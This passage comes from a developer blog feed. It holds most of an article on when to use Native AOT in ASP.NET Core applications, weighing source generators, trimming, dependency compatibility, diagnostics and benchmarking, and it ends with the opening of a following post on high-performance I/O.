Execute</code></code></pre><p>does not naturally fit an ahead-of-time world.</p><p>The AOT-friendly alternative is often:</p><pre><code><code>Discover requirements during build
     &#8595;
Generate source code
     &#8595;
Compile it with the application
     &#8595;
Execute already-generated native code</code></code></pre><p>That brings us to source generators.</p><h2>Source Generators Become Much More Important</h2><p>A source generator creates code during compilation.</p><p>Instead of discovering everything at runtime, the compiler can produce code ahead of time.</p><p>Conceptually:</p><pre><code><code>Application source
        +
Source generator
        &#8595;
Generated C# code
        &#8595;
Compilation
        &#8595;
Known executable code</code></code></pre><p>This aligns beautifully with Native AOT.</p><p>The compiler can see what exists.</p><p>The trimmer can reason about it.</p><p>The Native AOT compiler can generate the required native code.</p><p>Microsoft specifically recommends source generators as a way to avoid runtime reflection in Native AOT applications. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>This is not merely a workaround.</p><p>It represents a broader shift from <strong>runtime discovery toward compile-time knowledge</strong>.</p><h2>JSON Serialization Is a Great Example</h2><p>Serialization traditionally relies heavily on reflection.</p><p>Imagine:</p><pre><code><code>var json =
    JsonSerializer.Serialize(customer);</code></code></pre><p>A serializer needs to understand:</p><pre><code><code>Which properties exist?
Which names should they use?
Which converters apply?
How should values be created?</code></code></pre><p>Runtime reflection can answer those questions dynamically.</p><p>For Native AOT, <code>System.Text.Json</code> supports source generation so serialization metadata can be generated during compilation.</p><p>For example:</p><pre><code><code>[JsonSerializable(typeof(Customer))]
[JsonSerializable(typeof(Customer[]))]
internal partial class AppJsonContext
    : JsonSerializerContext
{
}</code></code></pre><p>Then configure ASP.NET Core to use the generated metadata:</p><pre><code><code>builder.Services.ConfigureHttpJsonOptions(
    options =&gt;
    {
        options.SerializerOptions
            .TypeInfoResolverChain
            .Insert(
                0,
                AppJsonContext.Default);
    });</code></code></pre><p>This tells the build system which serialization shapes the application needs.</p><p>ASP.NET Core&#8217;s Native AOT guidance specifically points developers toward JSON source generation because reflection-based serialization is problematic under trimming and Native AOT. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><h2>This Changes How We Think About &#8220;Magic&#8221;</h2><p>Developers often enjoy frameworks that automatically discover everything.</p><p>For example:</p><pre><code><code>Scan every assembly
Find every handler
Find every validator
Find every mapper
Create proxies
Build runtime metadata</code></code></pre><p>That can create an elegant developer experience.</p><p>But it depends on runtime dynamism.</p><p>Native AOT rewards systems that say:</p><pre><code><code>These are my endpoints.

These are my JSON types.

These are my dependencies.

These are my handlers.

These are the capabilities I need.</code></code></pre><p>In other words:</p><p><strong>Explicit architecture becomes easier to compile ahead of time.</strong></p><p>That can initially feel restrictive.</p><p>It can also make application behavior more understandable.</p><h2>NuGet Dependencies Become Part of Your AOT Decision</h2><p>You can write perfectly AOT-friendly application code and still fail to achieve a clean Native AOT publish because of a dependency.</p><p>Imagine:</p><pre><code><code>Your application
      &#8595;
Library A
      &#8595;
Library B
      &#8595;
Library C</code></code></pre><p>Library C uses runtime code generation.</p><p>Now your application inherits that compatibility problem.</p><p>Microsoft&#8217;s Native AOT documentation explicitly notes that popular ASP.NET Core libraries may have compatibility issues when they rely on reflection, conditional runtime loading, or runtime code generation. <a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/native-aot?tabs=netcore-cli&amp;view=aspnetcore-8.0&amp;utm_source=chatgpt.com">Microsoft Learn</a></p><p>This means dependency selection becomes more important.</p><p>Before committing a service to Native AOT, test its actual dependency graph.</p><p>Do not assume:</p><pre><code><code>"It is a .NET library,
so Native AOT will support it."</code></code></pre><h2>Publish Warnings Are Architecture Feedback</h2><p>Suppose publishing produces an AOT warning.</p><p>The worst response is:</p><pre><code><code>The app still starts.
Ignore it.</code></code></pre><p>Warnings often mean the compiler cannot guarantee that required runtime behavior has been preserved.</p><p>Microsoft explicitly advises reviewing and correcting AOT warnings, and notes that an application producing warnings during publishing may not behave correctly. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>Treat these warnings differently from cosmetic compiler noise.</p><p>They are telling you:</p><p><strong>&#8220;Your application expects behavior that is difficult to guarantee in this deployment model.&#8221;</strong></p><p>That is valuable architectural feedback.</p><h2>Native AOT Does Not Support Every ASP.NET Core Feature Equally</h2><p>This is one of the biggest practical limitations.</p><p>ASP.NET Core is a broad platform.</p><p>It includes:</p><pre><code><code>Minimal APIs
MVC
Razor
SignalR
gRPC
Authentication
Static files
WebSockets
Caching
Localization
Health checks
Middleware</code></code></pre><p>Native AOT compatibility varies by feature and continues to evolve.</p><p>Microsoft&#8217;s current guidance says Native AOT is supported for ASP.NET Core application types including Minimal APIs, gRPC, and Worker Services, but not every ASP.NET Core feature or programming model is compatible. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>This makes Native AOT particularly attractive for focused services.</p><h2>Minimal APIs Are a Natural Fit</h2><p>Consider a small service:</p><pre><code><code>var builder =
    WebApplication.CreateSlimBuilder(args);

var app = builder.Build();

app.MapGet(
    "/health",
    () =&gt; Results.Ok(
        new { Status = "Healthy" }));

app.Run();</code></code></pre><p>Its architecture is explicit.</p><p>It has:</p><pre><code><code>Few dependencies
Known endpoints
Known serialization types
Limited dynamic behavior
Small feature surface</code></code></pre><p>That is almost the ideal Native AOT profile.</p><p>Compare it with a mature application that dynamically discovers:</p><pre><code><code>Controllers
Plugins
Runtime-generated proxies
Reflection-heavy mapping
Dynamic serialization types
Third-party modules</code></code></pre><p>Migration becomes much more complicated.</p><p>Native AOT therefore often works best when it is an <strong>architectural choice made early</strong>, rather than an optimization bolted onto a highly dynamic application years later.</p><h2>gRPC Is Another Strong Candidate</h2><p>ASP.NET Core gRPC supports Native AOT, and Microsoft provides dedicated guidance for publishing gRPC client and server applications using it. <a href="https://learn.microsoft.com/en-us/aspnet/core/grpc/native-aot?view=aspnetcore-10.0&amp;utm_source=chatgpt.com">Microsoft Learn</a></p><p>That pairing makes sense.</p><p>Protocol Buffers already rely heavily on known contracts.</p><p>A <code>.proto</code> definition gives tooling a clear understanding of:</p><pre><code><code>Messages
Fields
Services
Methods</code></code></pre><p>Much of the required code can therefore be generated ahead of time.</p><p>Again, compile-time knowledge aligns well with AOT.</p><h2>Worker Services Can Benefit Too</h2><p>Native AOT is not only about HTTP APIs.</p><p>Consider a lightweight background service that:</p><pre><code><code>Reads queue message
     &#8595;
Processes it
     &#8595;
Writes result
     &#8595;
Terminates</code></code></pre><p>or workers that frequently scale up and down.</p><p>Fast startup and reduced memory overhead can be useful.</p><p>The smaller and more focused the process, the easier it is often to satisfy Native AOT constraints.</p><p>This suggests an important design lesson:</p><p><strong>Native AOT can be evaluated per service rather than per organization.</strong></p><p>You do not need to declare:</p><pre><code><code>Every .NET application we own
must use Native AOT.</code></code></pre><p>That would be unnecessarily rigid.</p><h2>Native AOT and Microservices</h2><p>Imagine an architecture containing:</p><pre><code><code>Public Web Application
Order API
Pricing API
Image Worker
Email Worker
Reporting Service
Identity Service</code></code></pre><p>Perhaps:</p><pre><code><code>Pricing API
Image Worker
Email Worker</code></code></pre><p>are excellent Native AOT candidates.</p><p>Meanwhile:</p><pre><code><code>Public Web Application
Reporting Service</code></code></pre><p>depend heavily on frameworks or libraries that are not good AOT fits.</p><p>That is fine.</p><p>Deployment models do not have to be ideological.</p><p>Use Native AOT where its advantages outweigh its restrictions.</p><h2>Faster Startup Is Not Faster Everything</h2><p>This point deserves emphasis.</p><p>Native AOT is often described using the word:</p><p><strong>performance</strong></p><p>That can be misunderstood as:</p><pre><code><code>Every request will become faster.</code></code></pre><p>Not necessarily.</p><p>Native AOT&#8217;s most predictable advantages are around areas such as:</p><pre><code><code>Startup
Deployment footprint
Runtime memory overhead</code></code></pre><p>Steady-state request performance depends on the workload.</p><p>JIT compilation also has advantages because runtime compilation can optimize code with knowledge gathered during execution.</p><p>Native AOT therefore should not be sold as:</p><p><strong>&#8220;Turn this on and every benchmark improves.&#8221;</strong></p><p>Benchmark your workload.</p><h2>JIT Has Advantages Too</h2><p>JIT compilation sounds inefficient if we describe it only as:</p><pre><code><code>Compilation work during runtime</code></code></pre><p>But runtime compilation has information that an ahead-of-time compiler may not have.</p><p>It knows:</p><pre><code><code>Actual execution environment
Runtime behavior
Frequently executed paths
Real type usage</code></code></pre><p>Modern .NET uses sophisticated optimization mechanisms around JIT compilation.</p><p>Native AOT gives up some runtime flexibility in exchange for predictability and startup characteristics.</p><p>So the comparison is not:</p><pre><code><code>Old slow JIT
vs
New fast AOT</code></code></pre><p>It is:</p><pre><code><code>Runtime optimization and flexibility
vs
Ahead-of-time predictability and reduced runtime machinery</code></code></pre><p>That is a much more useful mental model.</p><h2>Native AOT Can Increase Publish Complexity</h2><p>A normal build may finish quickly.</p><p>Native AOT publishing has more work to do.</p><p>It needs to:</p><pre><code><code>Analyze dependencies
Perform trimming analysis
Analyze AOT compatibility
Compile native code
Link native output
Produce platform-specific artifacts</code></code></pre><p>So we trade:</p><pre><code><code>More expensive publishing</code></code></pre><p>for:</p><pre><code><code>Less runtime compilation</code></code></pre><p>This is usually reasonable for production builds.</p><p>But it changes CI/CD expectations.</p><p>Your build pipeline should measure:</p><pre><code><code>Publish duration
Artifact size
Build resource consumption
AOT warnings
Deployment startup time</code></code></pre><p>Native AOT optimizes one part of the lifecycle partly by moving cost elsewhere.</p><h2>Cross-Platform Deployment Needs More Planning</h2><p>A traditional .NET application can often publish IL that runs wherever the appropriate .NET runtime exists.</p><p>Native AOT produces platform-specific native executables.</p><p>Microsoft documents supported operating systems and architectures separately for Native AOT and requires publishing for the intended target runtime. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>So if you deploy to:</p><pre><code><code>Linux x64
Linux Arm64
Windows x64</code></code></pre><p>you should think in terms of separate native artifacts.</p><p>For containerized cloud services, that is often manageable because the target environment is already well defined.</p><p>For software distributed broadly to unknown machines, deployment planning may be more complicated.</p><h2>Native AOT Does Not Remove the Runtime Completely</h2><p>A common misconception is:</p><pre><code><code>Native AOT means no .NET runtime exists.</code></code></pre><p>The better explanation is that the application no longer requires a separately installed .NET runtime or runtime JIT compilation in the normal way.</p><p>The published application is self-contained and includes the runtime components it needs. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>So:</p><pre><code><code>Native AOT
&#8800;
.NET disappeared</code></code></pre><p>Instead:</p><pre><code><code>Required runtime support
is packaged into the
native application.</code></code></pre><p>That distinction matters when reasoning about binary size and deployment.</p><h2>Reflection-Based Architecture Needs Scrutiny</h2><p>Suppose an application contains:</p><pre><code><code>foreach (
    var assembly in
    AppDomain.CurrentDomain.GetAssemblies())
{
    // Discover implementations dynamically.
}</code></code></pre><p>That kind of architecture may be convenient.</p><p>But ask:</p><p><strong>Could we register those types at compile time instead?</strong></p><p>Instead of:</p><pre><code><code>Runtime scans everything
     &#8595;
Discovers handlers</code></code></pre><p>we might use:</p><pre><code><code>Source generator
     &#8595;
Produces registrations
     &#8595;
Compile</code></code></pre><p>This can reduce startup work and improve AOT compatibility.</p><p>Even if you ultimately decide not to use Native AOT, the exercise may reveal opportunities to make application startup more deterministic.</p><h2>Dynamic Plugin Systems Are Poorer Fits</h2><p>Imagine an application that allows customers to drop arbitrary DLLs into:</p><pre><code><code>/plugins</code></code></pre><p>and loads them dynamically:</p><pre><code><code>Assembly.LoadFrom(pluginPath);</code></code></pre><p>This model depends on runtime discovery and loading.</p><p>Native AOT deployment explicitly limits dynamic loading scenarios such as <code>Assembly.LoadFile</code>. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That does not mean the plugin architecture is wrong.</p><p>It means the architecture values something Native AOT deliberately gives up:</p><p><strong>runtime extensibility.</strong></p><p>If runtime extensibility is a core requirement, JIT-based deployment may simply be the better choice.</p><h2>Entity Framework Core Needs Special Attention</h2><p>Many ASP.NET Core applications depend on Entity Framework Core.</p><p>This is an area where developers should check the documentation for the exact EF Core version they intend to deploy rather than assuming compatibility.</p><p>Current Microsoft documentation describes EF Core&#8217;s NativeAOT support and precompiled-query infrastructure as <strong>highly experimental and not yet suitable for production use</strong>. <a href="https://learn.microsoft.com/en-us/ef/core/performance/nativeaot-and-precompiled-queries?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That is a major consideration.</p><p>Suppose your service&#8217;s architecture is:</p><pre><code><code>Minimal API
     &#8595;
EF Core
     &#8595;
SQL Server</code></code></pre><p>You should not evaluate only whether Minimal APIs support Native AOT.</p><p>You must evaluate the entire stack.</p><p>This illustrates a rule worth remembering:</p><p><strong>Your application is only as AOT-compatible as the code it actually needs to execute.</strong></p><h2>Container Size Needs to Be Measured Honestly</h2><p>Native AOT can reduce application footprint and enable smaller container images.</p><p>But container size depends on more than the executable.</p><p>Your image may also contain:</p><pre><code><code>Linux base image
Certificates
Native libraries
ICU data
Diagnostics tools
Configuration
Other operating-system packages</code></code></pre><p>So do not say:</p><pre><code><code>Native AOT reduced our executable,
therefore our container is tiny.</code></code></pre><p>Measure the actual artifact that reaches production.</p><p>For example:</p><pre><code><code>docker images</code></code></pre><p>Compare:</p><pre><code><code>Normal deployment image
Trimmed deployment image
Native AOT image</code></code></pre><p>Then evaluate whether the operational improvement is meaningful.</p><h2>Measure Startup Correctly</h2><p>Startup benchmarks can also mislead.</p><p>Ask:</p><p><strong>What does &#8220;started&#8221; mean?</strong></p><p>Possible definitions include:</p><pre><code><code>Process created
Host initialized
Port listening
Health check succeeds
Database connection ready
First request completed
Service ready for real traffic</code></code></pre><p>The metric that matters operationally is usually:</p><p><strong>Time until the instance can safely serve production traffic.</strong></p><p>A 50 ms process startup is not useful if application initialization then spends five seconds warming a remote dependency.</p><p>Native AOT improves runtime startup characteristics.</p><p>It does not eliminate your own startup work.</p><h2>Do Not Move Expensive Work Into Startup</h2><p>Suppose Native AOT saves:</p><pre><code><code>500 ms</code></code></pre><p>but then <code>Program.cs</code> does:</p><pre><code><code>Download configuration
Warm enormous cache
Scan remote storage
Preload millions of rows
Call five external APIs</code></code></pre><p>for:</p><pre><code><code>12 seconds</code></code></pre><p>Your effective startup remains slow.</p><p>Optimize startup as a complete path:</p><pre><code><code>Process creation
      &#8595;
Host initialization
      &#8595;
Dependency setup
      &#8595;
Application initialization
      &#8595;
Readiness</code></code></pre><p>Native AOT is one part of that chain.</p><h2>Diagnostics Are Part of the Trade-Off</h2><p>Native AOT changes diagnostics too.</p><p>Microsoft documents limitations around debugging and profiling Native AOT applications, and Native debug information is produced separately by default on supported platforms. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>This does not mean Native AOT applications are impossible to diagnose.</p><p>It means you should verify your actual production toolchain.</p><p>Before migration, test:</p><pre><code><code>Crash dumps
Profilers
APM agents
Tracing
Metrics
Logging
Debug symbols
Incident-response tooling</code></code></pre><p>A service that starts 300 milliseconds faster but becomes dramatically harder for your operations team to diagnose may not be an improvement.</p><p>Performance is only one production requirement.</p><h2>Observability Still Matters</h2><p>Native AOT does not change the need for observability.</p><p>You should still measure:</p><pre><code><code>Startup duration
Memory usage
CPU
Request latency
Throughput
Error rate
Container restart time
Readiness duration
Deployment duration</code></code></pre><p>This connects to our earlier article on <strong>Distributed Tracing with OpenTelemetry</strong>.</p><p>Do not migrate to Native AOT and simply assume the application became better.</p><p>Measure before and after.</p><h2>Build a Comparison</h2><p>Suppose we have a small API.</p><p>Create three deployment variants:</p><pre><code><code>Normal self-contained
Trimmed
Native AOT</code></code></pre><p>Then measure:</p><pre><code><code>Published size
Container image size
Cold startup
Time to readiness
Idle memory
Memory under load
p50 latency
p95 latency
p99 latency
Throughput
CPU
Build time</code></code></pre><p>Now the decision becomes evidence-based.</p><p>Perhaps Native AOT reduces:</p><pre><code><code>Startup: 800 ms &#8594; 120 ms
Container: 150 MB &#8594; 65 MB
Idle memory: 110 MB &#8594; 70 MB</code></code></pre><p>Those numbers are illustrative, not promises.</p><p>Your application must supply the real measurements.</p><p>Maybe those improvements matter enormously.</p><p>Maybe they do not.</p><h2>The Economics Depend on Scale</h2><p>Imagine a service running:</p><pre><code><code>3 instances
24 hours a day</code></code></pre><p>Startup occurs rarely.</p><p>A complex migration may provide little business value.</p><p>Now imagine:</p><pre><code><code>2,000 small instances
frequently scaling
across multiple regions</code></code></pre><p>Even modest per-instance savings can accumulate.</p><p>This is why Microsoft notes that Native AOT can be particularly valuable for workloads with large numbers of deployed instances, including cloud infrastructure and hyperscale services. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>Optimization should always ask:</p><p><strong>What cost are we actually trying to reduce?</strong></p><h2>A Good Native AOT Candidate</h2><p>Consider a pricing service.</p><p>It has:</p><pre><code><code>Minimal APIs
Small dependency graph
System.Text.Json source generation
No dynamic plugins
No runtime code generation
High instance count
Frequent autoscaling
Strict container memory limits</code></code></pre><p>That is a strong candidate.</p><p>Native AOT aligns with its architecture.</p><p>Now consider an enterprise application containing:</p><pre><code><code>Large MVC architecture
Dynamic plugin ecosystem
Reflection-heavy libraries
Runtime proxy generation
Large dependency graph
Complex ORM requirements
Rare restarts
Plenty of memory</code></code></pre><p>Native AOT may demand substantial engineering effort for limited operational benefit.</p><p>Neither architecture is inherently better.</p><p>They optimize for different requirements.</p><h2>Do Not Rewrite a Healthy Application Just to Say &#8220;AOT&#8221;</h2><p>Native AOT is an engineering tool, not a maturity badge.</p><p>A production system should not be rewritten merely because:</p><pre><code><code>Native sounds faster.</code></code></pre><p>Ask instead:</p><pre><code><code>Is startup a real problem?

Are container images causing deployment friction?

Is memory density important?

Are we frequently scaling instances?

Are our dependencies compatible?

Can we eliminate problematic dynamic behavior?

Can we maintain the resulting architecture?

Can we still diagnose production failures?</code></code></pre><p>If those answers support Native AOT, it can be an excellent choice.</p><p>If not, ordinary JIT-compiled ASP.NET Core remains an extremely capable deployment model.</p><h2>Native AOT Can Influence Architecture Before You Adopt It</h2><p>There is another benefit that is easy to miss.</p><p>You can use AOT compatibility as an architectural signal even if you never publish with Native AOT.</p><p>AOT-friendly code tends to encourage:</p><pre><code><code>Explicit dependencies
Known serialization contracts
Less hidden reflection
Smaller dependency graphs
Compile-time generation
Predictable startup
Focused services</code></code></pre><p>Those properties can improve understandability and maintainability.</p><p>That does not mean all dynamic behavior is bad.</p><p>Dynamic behavior is powerful precisely because it enables capabilities static systems cannot easily provide.</p><p>The lesson is to use it intentionally.</p><h2>How Native AOT Connects to Memory Management</h2><p>Two articles ago, we explored <strong>Memory Management in ASP.NET Core</strong>.</p><p>Native AOT approaches memory from a different direction.</p><p>Memory optimization asked:</p><pre><code><code>How much memory does our running
application allocate and retain?</code></code></pre><p>Native AOT also asks:</p><pre><code><code>How much runtime machinery
does this process need at all?</code></code></pre><p>These strategies complement each other.</p><p>Native AOT will not save an application that:</p><pre><code><code>Caches everything forever
Allocates giant buffers
Creates unbounded queues
Loads huge datasets into memory</code></code></pre><p>Application-level memory discipline still matters.</p><h2>How Native AOT Connects to High-Performance I/O</h2><p>Our previous article covered <strong>High-Performance I/O in ASP.NET Core</strong>.</p><p>Suppose Native AOT reduces startup by hundreds of milliseconds.</p><p>Great.</p><p>But your API still:</p><pre><code><code>Loads 2 GB files into memory
Blocks on synchronous I/O
Copies buffers repeatedly
Ignores cancellation</code></code></pre><p>Native AOT does not fix that.</p><p>These optimizations operate at different layers.</p><pre><code><code>Native AOT
&#8594; startup and deployment model

Streaming and pipelines
&#8594; data movement

Memory management
&#8594; allocation and retention

Backpressure
&#8594; overload control</code></code></pre><p>A genuinely high-performance ASP.NET Core system needs the layers to work together.</p><h2>A Practical Native AOT Adoption Strategy</h2><p>Do not begin with your largest application.</p><p>Start with a small candidate.</p><p><strong>Step 1: Choose a suitable service.</strong></p><p>Prefer one with Minimal APIs, limited dependencies, and little runtime dynamism.</p><p><strong>Step 2: Enable </strong><code>PublishAot</code><strong>.</strong></p><pre><code><code>&lt;PublishAot&gt;true&lt;/PublishAot&gt;</code></code></pre><p><strong>Step 3: Publish immediately.</strong></p><p>Do this before investing heavily in migration.</p><p><strong>Step 4: Read every AOT and trimming warning.</strong></p><p>Identify which problems come from your code and which come from dependencies.</p><p><strong>Step 5: Replace reflection-heavy patterns where practical.</strong></p><p>Prefer source generation and explicit registration.</p><p><strong>Step 6: Configure source-generated JSON serialization.</strong></p><p>Make serialization requirements known during compilation.</p><p><strong>Step 7: Test the actual published executable.</strong></p><p>Do not rely only on <code>dotnet run</code>.</p><p><strong>Step 8: Run your integration test suite against the AOT artifact.</strong></p><p>Exercise real application paths.</p><p><strong>Step 9: Test observability and diagnostics.</strong></p><p>Confirm your production tooling still works.</p><p><strong>Step 10: Benchmark against the existing deployment.</strong></p><p>Compare startup, memory, size, throughput, and latency.</p><p><strong>Step 11: Evaluate operational value.</strong></p><p>Ask whether the measured improvement justifies the restrictions and maintenance cost.</p><p>This prevents Native AOT from becoming a technology experiment disguised as a production requirement.</p><h2>Common Native AOT Mistakes</h2><p>Several mistakes are worth avoiding.</p><p><strong>Assuming Native AOT makes every request faster.</strong> Its most obvious advantages are startup, footprint, and potentially memory demand.</p><p><strong>Ignoring publish warnings.</strong> AOT warnings can identify real runtime compatibility problems.</p><p><strong>Testing only with </strong><code>dotnet run</code><strong>.</strong> The published Native AOT artifact is what matters.</p><p><strong>Assuming every NuGet library is compatible.</strong> Dependencies may rely on reflection or runtime code generation.</p><p><strong>Treating reflection as completely forbidden.</strong> The real issue is whether required runtime behavior can be determined and preserved ahead of time.</p><p><strong>Expecting Native AOT to fix application memory problems.</strong> Unbounded caches and oversized buffers remain unbounded caches and oversized buffers.</p><p><strong>Choosing AOT before measuring startup.</strong> Optimize an actual problem.</p><p><strong>Ignoring diagnostics.</strong> Production operability matters as much as startup speed.</p><p><strong>Migrating a highly dynamic monolith first.</strong> A small focused service is usually a better learning environment.</p><p><strong>Treating AOT as an organization-wide rule.</strong> Different services can use different deployment models.</p><h2>What Successful Native AOT Adoption Looks Like</h2><p>A successful migration does not end with:</p><pre><code><code>Publish succeeded.</code></code></pre><p>It looks more like:</p><pre><code><code>Clean AOT analysis
        &#8595;
Compatible dependency graph
        &#8595;
Integration tests pass
        &#8595;
Observability works
        &#8595;
Smaller production artifact
        &#8595;
Faster time to readiness
        &#8595;
Lower or predictable memory
        &#8595;
No unacceptable feature loss
        &#8595;
Operational benefit exceeds complexity</code></code></pre><p>Only then do we have an optimization.</p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Benchmarking ASP.NET Core Applications: BenchmarkDotNet, Load Testing, and Finding Real Bottlenecks</strong>.</p><p>That article follows naturally from everything we have just discussed.</p><p>Native AOT claims faster startup and potentially lower memory requirements.</p><p>Streaming claims lower memory pressure.</p><p>Pooling claims fewer allocations.</p><p>Backpressure claims greater stability.</p><p>But how do we prove any of it?</p><p>We measure.</p><p>We&#8217;ll separate microbenchmarks from application load tests, examine BenchmarkDotNet, test realistic ASP.NET Core endpoints, understand throughput and latency percentiles, and learn why optimizing the wrong benchmark can make production software worse rather than better.</p><h2>Closing Thoughts</h2><p>Native AOT changes a fundamental assumption about .NET applications.</p><p>Traditionally, .NET has embraced a highly capable runtime environment that can compile code, inspect metadata, discover types, generate implementations, and adapt while the application is running.</p><p>Native AOT deliberately moves in another direction.</p><p>It asks:</p><pre><code><code>What can we know before
the application starts?</code></code></pre><p>If we know the answer during compilation, we can potentially remove work and machinery from runtime.</p><p>That can produce meaningful advantages:</p><pre><code><code>Faster startup
Smaller deployment footprint
Lower memory demand
Faster container activation
Greater deployment density</code></code></pre><p>Microsoft explicitly positions these as key benefits of Native AOT for ASP.NET Core. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>But those benefits come with constraints.</p><p>Dynamic code generation becomes problematic.</p><p>Unbounded reflection becomes problematic.</p><p>Dynamic assembly loading becomes problematic.</p><p>Dependencies must be evaluated.</p><p>Trimming becomes part of application correctness.</p><p>Diagnostics require consideration.</p><p>Some ASP.NET Core features remain incompatible or only partially supported. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That is why the correct question is not:</p><pre><code><code>Should ASP.NET Core applications
use Native AOT?</code></code></pre><p>The better question is:</p><pre><code><code>Does this application benefit enough
from Native AOT to justify designing
within its constraints?</code></code></pre><p>For a small, focused, frequently scaled service, the answer may be compelling.</p><p>For a large, dynamic application that rarely restarts, the traditional runtime may remain the better engineering choice.</p><p>And that is the real lesson.</p><p><strong>Native AOT is most powerful when it matches the architecture, not when the architecture is forced to match Native AOT.</strong></p><h2>Subscribe Now</h2><p>Enjoying the series? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-ready .NET performance strategies. Join our Substack Chat to discuss Native AOT, container optimization, application performance, deployment architecture, and the engineering decisions behind fast, efficient ASP.NET Core systems. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[High-Performance I/O in ASP.NET Core: Streams, Pipelines, and Efficient Data Processing]]></title><description><![CDATA[Build faster ASP.NET Core I/O with streams, pipelines, and efficient data processing. #ASPToday #aspnetcore #dotnet #performance]]></description><link>https://www.asptoday.com/p/high-performance-io-in-aspnet-core</link><guid isPermaLink="false">https://www.asptoday.com/p/high-performance-io-in-aspnet-core</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 22 Sep 2026 15:01:38 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!cwk6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>An <a href="https://www.asptoday.com/p/microservices-architecture-with-aspnet">ASP.NET Core application</a> spends much of its life moving data. Request bodies arrive from clients, database results flow into services, files move through APIs, JSON is parsed and generated, and responses travel back across the network.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cwk6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cwk6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!cwk6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cwk6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2935321,&quot;alt&quot;:&quot;Cargo ships move through canal locks, symbolizing efficient data streaming and controlled I/O. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/216862460?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5943f6c7-ae26-497c-8e31-f9e336aa6870_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Cargo ships move through canal locks, symbolizing efficient data streaming and controlled I/O. " title="Cargo ships move through canal locks, symbolizing efficient data streaming and controlled I/O. " 